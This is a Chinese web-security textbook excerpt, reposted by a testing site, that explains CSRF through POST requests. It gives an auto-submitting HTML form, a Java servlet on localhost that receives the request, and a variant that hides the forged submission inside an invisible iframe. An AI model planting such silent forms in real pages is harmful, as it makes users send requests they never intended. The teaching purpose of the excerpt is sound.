如何用POST方式提交呢?其实很简单,请看post.html,代码如下:
<html> <head> <title> post data </title> </head> <body> <form id="myfrom" method="post" action="htpp://www.xxser.com/publish" > <input type="hidden" name="listenid" value="228820"> </form> <script> var myfrom = document.getElementById("myfrom"); myfrom.submit(); </script> </body> </html> |
在post.html中,构造一个form表单,然后利用JavaScript自动提交表单。这样,只要打开post.html,就会自动提交POST数据。
把post.html里的action值修改为http://127.0.0.1:9527/Jsp/PostData进行测试,PostData代码如下:
public class PostData extends HttpServlet {
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
//不接收GET请求
}
public void doPost(HttpServletRequest request, HttpServletResponse response)throws ServletException, IOException {
PrintWriter out = response.getWriter();
int id = Integer.parseInt(request.getParameter("listenid"));
out.print("Receive Post data "+ id );
}
}
在PostData Servlet中,只接收POST请求,不接收GET请求,用浏览器访问post.html,执行结果如图10-1所示。
图10-1 接收POST数据
观察图10-1可以发现,URL已经跳转为127.0.0.1/Jsp/PostData。
如果在某些情况下需要做的是"静悄悄"地提交数据,不希望页面跳转,那么就可以使用AJAX来解决这个问题。当然,也可通过以指定form表单的target解决这个问题,代码如下:
<iframe frameborder="0" name="myiframe" width="0px" height="0px"></iframe>
<form id="myfrom" method="post" target ="myiframe" action="http://127.0.0.1:9527/Jsp/PostData" >
<input type="hidden" name="listenid" value="228820">
</form>
<script>
var myfrom = document.getElementById("myfrom");
myfrom.submit();
</script>
在上面的代码中,请求的URL在<iframe>标签中打开,而<iframe>却被我们隐藏了,所以原页面不会有任何变化,执行结果如图10-2所示。
图10-2 悄悄发送POST请求
由此看来,对CSRF来说,POST、GET请求是没有任何区别的,只不过POST请求方式多了一些代码。
本文选自《Web安全深度剖析》第十章,本站经电子工业出版社和作者的授权。
版权声明:51Testing软件测试网获电子工业出版社和作者授权连载本书部分章节。
任何个人或单位未获得明确的书面许可,不得对本文内容复制、转载或进行镜像,否则将追究法律责任。